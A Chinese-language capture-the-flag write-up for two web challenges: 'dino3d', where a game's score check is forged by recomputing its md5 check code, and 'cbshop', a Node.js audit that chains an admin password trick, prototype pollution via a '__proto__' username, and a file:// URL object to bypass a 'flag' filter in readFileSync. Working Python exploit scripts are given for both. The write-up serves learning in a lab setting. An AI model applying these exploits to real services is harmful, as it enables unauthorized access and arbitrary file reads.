dino3d

进去就看到了一个小游戏 先玩几下,弹出来了东西

这个肯定是要修改东西的

我们搜索一下alert发现

 sn(e, t) {
        e && t && fetch("/check.php", {
            method: "POST",
            headers: {
                "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
            },
            body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
        }).then(e=>e.text()).then(e=>alert(e))
    }

我们再这个下个断点,看一下处理逻辑

传入e和t我们在往下看

score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)

这个是post传参

分数+t md5加密后面还有一个时间戳

写exp

from hashlib import md5
import requests
import time

url = "http://node5.buuoj.cn:28690/check.php"

def getFlag():
    data = {
        "score": 1000000,
        "checkCode": md5("1000000DASxCBCTF_wElc03e".encode()).hexdigest(),
        "tm": int(time.time())
    }
    res = requests.post(url, data = data)
    return res.text

if __name__ == '__main__':
    print(getFlag())

总结

这个主要这个时间戳比较难弄,做的少没有看出来

cbshop

这个题确实学到了很多知识点,一个node.js的代码审计吧

其中最总要的是那原型链污染,其次就是那个flag的过滤, 原型链污染的题做的很少,这次从开发的角度去学了一下原型和原型链

我觉得代码审计最重要的是弄懂那一段代码是怎么运作的,怎么实现的,然后在考虑如何漏洞利用,当然如果是大型的框架的话,还是先找

漏洞的利用点然后再次审计

我们看一下这个题

进去的话有几个功能点登入进去,原本以为还是要admin登入,jwt伪造之类的,但是随便输一下就进去了,进去之后,可以购买假的flag

买真的flag就没有钱,还有一个修改用户名功能,其他的就没有了,我们看源码

cbshop-.zip附件

大概审一下

先看登入界面

这里有admin的登入逻辑

这里有登入的密码,也有9999的钱,那也就是说我们登入进去就有flag了

看看一下

 password === adminUser.password.substring(1,6)

这个对密码进行过处理了

我们在控制台上输出一下

得到密码登入进去

发现买不了flag

看一下购买商品的逻辑

登入成功之后要有token才行,但是我们看user这个对象

只有这两个参数被写死了

那我们要从哪里传入token这个参数呢

我们先来看看这个参数都是怎么传递的

看一下这个参数的,这个user用的是存储的user的用户名和钱

这个body我们看一下怎么来的

这里面是以json这个格式来传入数据

这个是POST传入的内容,这个里面的参数我们都是可控的,当然我们也可以加入token的值总归是在puduct上我们该怎么把它给user呢

如果说有继承关系的话,我们可以直接调用,但是JavaScript是没有继承这个概念的,只有原型。

那这道题的考点就差不多是原型链污染了。

对于原型链污染,没有很深的见解,大概4月份学的原型链污染,但是当时没有学明白,看了好长时间的原型链污染

那么原型链污染是什么,第一,我们肯定要有可控的参数,可以控制它,让它成为我们想要的参数,比如说__proto__

这样我们就可以这个对象可以指向它的原型,这样我们就可以利用原型里面的参数了。

然后我们吧puduct里面的参数给它的原型,那么我们就可以利用puduct的参数了。

思路有了,那么看看有没有可以实现的函数

这个函数我们看一下是什么作用

简单就是Copy的作用,这个函数可以将puduct的属性复制到order的原型

我们把username赋值成__proto__,order的原型就有了puduct的属性,order的原型和user的原型都是object

那也就是说在查找user的token时,如果没有这个属性,就往原型上找,往object上找。

这点说的很清楚了,我们绕过这个token之后。看下一个判断

这个等同于过滤了flag

那我们怎么读取flag呢

看有个提示是readFileSync,看一下这个函数的怎么用

参数可以时file,我们用file伪协议读取

直接接给exp

import requests
session = requests.Session()

url = "http://fe3519fd-6d9c-4bcd-bb2b-37c7538ed802.node5.buuoj.cn:81/" # 题目url

def login():
    data = {
        "username": "admin",
        "password": "\uDE00admi"
    }
    session.post(url + "login", json = data)

def changeUsername():
    data = { "username": "__proto__" }
    session.post(url + "changeUsername", json = data)

def buyFlag():
    data = {
        "name":{
          "href": 'file:///fl%61g',
          "origin": 'null',
          "protocol": 'file:',
          "username": '',
          "password": '',
          "host": '',
          "hostname": '',
          "port": '',
          "pathname": '/fl%61g',
          "search": '',
          "searchParams": "URLSearchParams {}",
          "hash": ''
        },
        "id":2,
        "token":True
    }
    res = session.post(url + "buy", json = data)
    return res.text

if __name__ == '__main__':
    login()
    changeUsername()
    flag = buyFlag()
    print(flag)

结果

总结

很多原型链污染都是污染Object类,通过今天的学习,对这个原型链污染更加清晰了